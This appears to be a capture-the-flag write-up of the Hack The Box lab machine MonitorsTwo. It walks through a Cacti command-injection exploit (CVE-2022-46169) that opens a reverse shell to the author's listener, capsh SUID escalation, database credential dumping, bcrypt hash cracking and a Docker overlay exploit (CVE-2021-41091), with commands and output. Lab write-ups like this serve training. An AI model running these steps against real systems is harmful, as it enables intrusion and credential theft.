HTB: MonitorsTwo
Taking somewhat of a break from NetSecFocus boxes for OSCP preparation, I’ve decided to tackle any live Easy/Medium machines on HTB as I go along before they expire, to grab some points on top of the experience towards OSCP. MonitorsTwo had a couple of days left in its schedule, so I thought I’d give it a go.
Started off with standard nmap scan:
u01@nostromo:~$ sudo nmap -p- -A monitorstwo.htb -oA monitorstwo/monitorstwo [sudo] password for u01: Starting Nmap 7.94 ( https://nmap.org ) at 2023-08-29 16:32 EDT Nmap scan report for monitorstwo.htb (10.10.11.211) Host is up (0.032s latency). Not shown: 65533 closed tcp ports (reset) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 3072 48:ad:d5:b8:3a:9f:bc:be:f7:e8:20:1e:f6:bf:de:ae (RSA) | 256 b7:89:6c:0b:20:ed:49:b2:c1:86:7c:29:92:74:1c:1f (ECDSA) |_ 256 18:cd:9d:08:a6:21:a8:b8:b6:f7:9f:8d:40:51:54:fb (ED25519) 80/tcp open http nginx 1.18.0 (Ubuntu) |_http-title: Login to Cacti |_http-server-header: nginx/1.18.0 (Ubuntu) No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ). TCP/IP fingerprint: OS:SCAN(V=7.94%E=4%D=8/29%OT=22%CT=1%CU=39413%PV=Y%DS=2%DC=T%G=Y%TM=64EE562 OS:9%P=x86_64-pc-linux-gnu)SEQ(SP=105%GCD=1%ISR=106%TI=Z%CI=Z%II=I%TS=A)SEQ OS:(SP=105%GCD=2%ISR=106%TI=Z%CI=Z%II=I%TS=A)OPS(O1=M53CST11NW7%O2=M53CST11 OS:NW7%O3=M53CNNT11NW7%O4=M53CST11NW7%O5=M53CST11NW7%O6=M53CST11)WIN(W1=FE8 OS:8%W2=FE88%W3=FE88%W4=FE88%W5=FE88%W6=FE88)ECN(R=Y%DF=Y%T=40%W=FAF0%O=M53 OS:CNNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=AS%RD=0%Q=)T2(R=N)T3(R=N)T4( OS:R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F OS:=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T OS:=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N%T=40%IPL=164%UN=0%RIPL=G%RI OS:D=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%CD=S) Network Distance: 2 hops Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel TRACEROUTE (using port 256/tcp) HOP RTT ADDRESS 1 49.22 ms 10.10.14.1 2 49.37 ms monitorstwo.htb (10.10.11.211) OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 48.03 seconds
Pretty standard offering, HTTP and SSH. Browsing to the site, we’re dealing with Cacti v 1.2.22, an “open-source, web-based network monitoring, performance, fault and configuration management framework”.
I try a few default credentials found online, but no access. Searchsploit quickly reveals some options:
u01@nostromo:~$ searchsploit cacti 1.2 -------------------------------------------------------------------------------------------------------------------------- --------------------------------- Exploit Title | Path -------------------------------------------------------------------------------------------------------------------------- --------------------------------- Cacti 1.2.12 - 'filter' SQL Injection | php/webapps/49810.py Cacti 1.2.8 - Authenticated Remote Code Execution | multiple/webapps/48144.py Cacti 1.2.8 - Remote Code Execution | php/webapps/48128.py Cacti 1.2.8 - Unauthenticated Remote Code Execution | multiple/webapps/48145.py Cacti v1.2.22 - Remote Command Execution (RCE) | php/webapps/51166.py Cacti v1.2.8 - Unauthenticated Remote Code Execution (Metasploit) | php/webapps/48159.rb -------------------------------------------------------------------------------------------------------------------------- ---------------------------------
A little digging into the RCE reveals CVE-2022-46169, a “command injection vulnerability allowing an unauthenticated user to execute arbitrary code”. Sounds good!
After some failed attempts at running the searchsploit Python script, I Googled some other options and came across an exploit provided by FredBrave on GitHub.This worked straight away in conjunction with a netcat listener, giving me a shell as www-data:
u01@nostromo:~/monitorstwo/CVE-2022-46169-CACTI-1.2.22$ python CVE-2022-46169.py -u http://monitorstwo.htb --LPORT 7777 --LHOST 10.10.14.12 Checking... The target is vulnerable. Exploiting... Bruteforcing the host_id and local_data_ids Bruteforce Success!! u01@nostromo:~$ nc -lvnp 7777 listening on [any] 7777 ... connect to [10.10.14.12] from (UNKNOWN) [10.10.11.211] 38186 bash: cannot set terminal process group (1): Inappropriate ioctl for device bash: no job control in this shell www-data@50bca5e748b0:/var/www/html$ id id uid=33(www-data) gid=33(www-data) groups=33(www-data) www-data@50bca5e748b0:/var/www/html$
From here I performed some manual enumeration, searched for passwords, dug into some config files, but eventually opted to run LinPEAS, the most interesting outputs from which were:
╔══════════╣ Unexpected in root /.dockerenv /entrypoint.sh ╔══════════╣ SUID - Check easy privesc, exploits and write perms ╚ https://book.hacktricks.xyz/linux-unix/privilege-escalation#sudo-and-suid strace Not Found -rwsr-xr-x 1 root root 87K Feb 7 2020 /usr/bin/gpasswd -rwsr-xr-x 1 root root 63K Feb 7 2020 /usr/bin/passwd ---> Apple_Mac_OSX(03-2006)/Solaris_8/9(12-2004)/SPARC_8/9/Sun_Solaris_2.3_to_2.5.1(02-1997) -rwsr-xr-x 1 root root 52K Feb 7 2020 /usr/bin/chsh -rwsr-xr-x 1 root root 58K Feb 7 2020 /usr/bin/chfn ---> SuSE_9.3/10 -rwsr-xr-x 1 root root 44K Feb 7 2020 /usr/bin/newgrp ---> HP-UX_10.20 -rwsr-xr-x 1 root root 31K Oct 14 2020 /sbin/capsh -rwsr-xr-x 1 root root 55K Jan 20 2022 /bin/mount ---> Apple_Mac_OSX(Lion)_Kernel_xnu-1699.32.7_except_xnu-1699.24.8 -rwsr-xr-x 1 root root 35K Jan 20 2022 /bin/umount ---> BSD/Linux(08-1996) -rwsr-xr-x 1 root root 71K Jan 20 2022 /bin/su
entrypoint.sh stood out as interesting, so took a look there first:
www-data@50bca5e748b0:/$ cat /entrypoint.sh cat /entrypoint.sh #!/bin/bash set -ex wait-for-it db:3306 -t 300 -- echo "database is connected" if [[ ! $(mysql --host=db --user=root --password=root cacti -e "show tables") =~ "automation_devices" ]]; then mysql --host=db --user=root --password=root cacti < /var/www/html/cacti.sql mysql --host=db --user=root --password=root cacti -e "UPDATE user_auth SET must_change_password='' WHERE username = 'admin'" mysql --host=db --user=root --password=root cacti -e "SET GLOBAL time_zone = 'UTC'" fi chown www-data:www-data -R /var/www/html # first arg is `-f` or `--some-option` if [ "${1#-}" != "$1" ]; then set -- apache2-foreground "$@" fi exec "$@"
My understanding of an entrypoint script is a script that is executed when a docker container is run. This script looks like it initialises the MySQL database that Cacti uses on startup, and obviously shows that root:root will likely give us root access to that database.
However, I first investigated the unusual SUID entry that LinPEAS highlighted for capsh. Using GTFOBins section on capsh, this was an easy escalation to the container’s root:
www-data@50bca5e748b0:/var/www/html$ cd /sbin/ cd /sbin/ www-data@50bca5e748b0:/sbin$ ./capsh --gid=0 --uid=0 -- ./capsh --gid=0 --uid=0 -- id uid=0(root) gid=0(root) groups=0(root),33(www-data)
I ran LinPEAS once more as root, but really it was unnecessary, as the correct vector seemed to be back at entrypoint.sh (although rooting the container would come in useful later for the host privesc).
I took the (kindly) supplied mysql commands in entrypoint.sh, and modified the excuted command to first view the tables, and then dig in further to find any username/credentials:
www-data@50bca5e748b0:/var/www/html$ mysql --host=db --user=root --password=root cacti -e "SHOW TABLES" < --user=root --password=root cacti -e "SHOW TABLES" Tables_in_cacti aggregate_graph_templates aggregate_graph_templates_graph aggregate_graph_templates_item aggregate_graphs … www-data@50bca5e748b0:/var/www/html$ mysql --host=db --user=root --password=root cacti -e "SELECT * FROM user_auth" < --password=root cacti -e "SELECT * FROM user_auth" id username password realm full_name email_address must_change_password password_change show_tree show_list show_preview graph_settings login_opts policy_graphs policy_trees policy_hosts policy_graph_templates enabled lastchange lastlogin password_history locked failed_attempts lastfail reset_perms 1 admin $2y$10$IhEA.Og8vrvwueM7VEDkUes3pwc3zaBbQ/iuqMft/llx8utpR1hjC 0 Jamie Thompson admin@monitorstwo.htb on on on on on 2 1 1 1 1 on -1 -1 -1 0 0 663348655 3 guest 43e9a4ab75570f5b 0 Guest Account on on on on on 3 1 1 1 1 1 -1 -1 -1 0 0 0 4 marcus $2y$10$vcrYth5YcCLlZaPDj6PwqOYTw68W1.3WeKlBn70JonsdW/MhFYK4C 0 Marcus Brune marcus@monitorstwo.htb on on on on 1 1 1 1 1 on -1 -1 on 0 0 2135691668
So we now have two interesting usernames with password hashes. This being a CTF, it seemed like a logical link that there might be credential reuse for the user marcus on the host. So we go about cracking the hash with hashcat:
hashcat -m 3200 hash /usr/share/wordlists/rockyou.txt ... 2y$10$vcrYth5YcCLlZaPDj6PwqOYTw68W1.3WeKlBn70JonsdW/MhFYK4C:funkymonkey Session..........: hashcat Status...........: Cracked Hash.Mode........: 3200 (bcrypt $2*$, Blowfish (Unix)) Hash.Target......: $2y$10$vcrYth5YcCLlZaPDj6PwqOYTw68W1.3WeKlBn70Jonsd...hFYK4C Time.Started.....: Wed Aug 30 08:43:48 2023 (1 min, 38 secs) Time.Estimated...: Wed Aug 30 08:45:26 2023 (0 secs) Kernel.Feature...: Pure Kernel Guess.Base.......: File (/usr/share/wordlists/rockyou.txt) Guess.Queue......: 1/1 (100.00%) Speed.#1.........: 87 H/s (5.19ms) @ Accel:4 Loops:32 Thr:1 Vec:1 Recovered........: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new) Progress.........: 8528/14344385 (0.06%) Rejected.........: 0/8528 (0.00%) Restore.Point....: 8512/14344385 (0.06%) Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:992-1024 Candidate.Engine.: Device Generator Candidates.#1....: mark123 -> funkymonkey Hardware.Mon.#1..: Util: 92%
And sure enough, marcus:funkymonkey gives us direct SSH access to the host.
marcus@monitorstwo:~$ id uid=1000(marcus) gid=1000(marcus) groups=1000(marcus) marcus@monitorstwo:~$
From here we can grab the user.txt flag.
It’s again back to LinPEAS and LinEnum. Eventually checking the Docker version ( 20.10.5+dfsg1, build 55c4c88) reveals a lead in the form of CVE-2021-41091, “where the data directory (typically `/var/lib/docker`) contained subdirectories with insufficiently restricted permissions, allowing otherwise unprivileged Linux users to traverse directory contents and execute programs”. Another Google search of the CVE brings me to UncleJ4ck/CVE-2021-41091: POC for CVE-2021-41091 (github.com).
Following the provided instructions, the previous rooting of the container comes in handy, as we use the elevated privileges to perform the required setuid on /bin/bash, copy and paste the exploit script into the host, and execute to gain root and root.txt flag:
marcus@monitorstwo:~$ chmod +x poc.sh marcus@monitorstwo:~$ ./poc.sh [!] Vulnerable to CVE-2021-41091 [!] Now connect to your Docker container that is accessible and obtain root access ! [>] After gaining root access execute this command (chmod u+s /bin/bash) Did you correctly set the setuid bit on /bin/bash in the Docker container? (yes/no): yes [!] Available Overlay2 Filesystems: /var/lib/docker/overlay2/4ec09ecfa6f3a290dc6b247d7f4ff71a398d4f17060cdaf065e8bb83007effec/merged /var/lib/docker/overlay2/c41d5854e43bd996e128d647cb526b73d04c9ad6325201c85f73fdba372cb2f1/merged [!] Iterating over the available Overlay2 filesystems ! [?] Checking path: /var/lib/docker/overlay2/4ec09ecfa6f3a290dc6b247d7f4ff71a398d4f17060cdaf065e8bb83007effec/merged [x] Could not get root access in '/var/lib/docker/overlay2/4ec09ecfa6f3a290dc6b247d7f4ff71a398d4f17060cdaf065e8bb83007effec/merged' [?] Checking path: /var/lib/docker/overlay2/c41d5854e43bd996e128d647cb526b73d04c9ad6325201c85f73fdba372cb2f1/merged [!] Rooted ! [>] Current Vulnerable Path: /var/lib/docker/overlay2/c41d5854e43bd996e128d647cb526b73d04c9ad6325201c85f73fdba372cb2f1/merged [?] If it didn't spawn a shell go to this path and execute './bin/bash -p' [!] Spawning Shell bash-5.1# exit marcus@monitorstwo:~$ cd /var/lib/docker/overlay2/c41d5854e43bd996e128d647cb526b73d04c9ad6325201c85f73fdba372cb2f1/merged marcus@monitorstwo:/var/lib/docker/overlay2/c41d5854e43bd996e128d647cb526b73d04c9ad6325201c85f73fdba372cb2f1/merged$ ./bin/bash -p bash-5.1# id uid=1000(marcus) gid=1000(marcus) euid=0(root) groups=1000(marcus) bash-5.1# cd /root bash-5.1# ls cacti root.txt bash-5.1# cat root.txt defde************************************